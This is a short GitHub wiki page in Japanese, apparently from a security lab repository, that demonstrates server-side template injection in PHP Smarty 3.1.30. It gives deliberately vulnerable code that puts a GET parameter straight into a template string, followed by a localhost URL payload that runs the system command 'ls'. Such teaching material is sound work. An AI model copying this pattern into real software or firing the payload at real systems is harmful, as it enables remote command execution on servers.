SSTI php 01 - yujitounai/helloworld GitHub Wiki

サーバーサイドテンプレートインジェクション

脆弱なソースコード (php smarty 3.1.30)

<?php

require 'smarty-3.1.30/libs/Smarty.class.php';

$smarty = new Smarty;
$smarty->debugging = false;


$smarty->assign('foo','value');
$name ="";
if($_GET["name"]){
    $name =$_GET["name"];
}
$template_string = '<!DOCTYPE html><html><body>
    <form action="" method="get">
        First name:<br>
    <input type="text" name="name" value="">
    <input type="submit" value="Submit">
    </form><h2>Hello'.$name.'</h2></body></html>';
$smarty->display('string:'.$template_string); 

攻撃する方法

http://localhost:8020/smarty-ssti/?name={system(%27ls%27)}

⚠️ **GitHub.com Fallback** ⚠️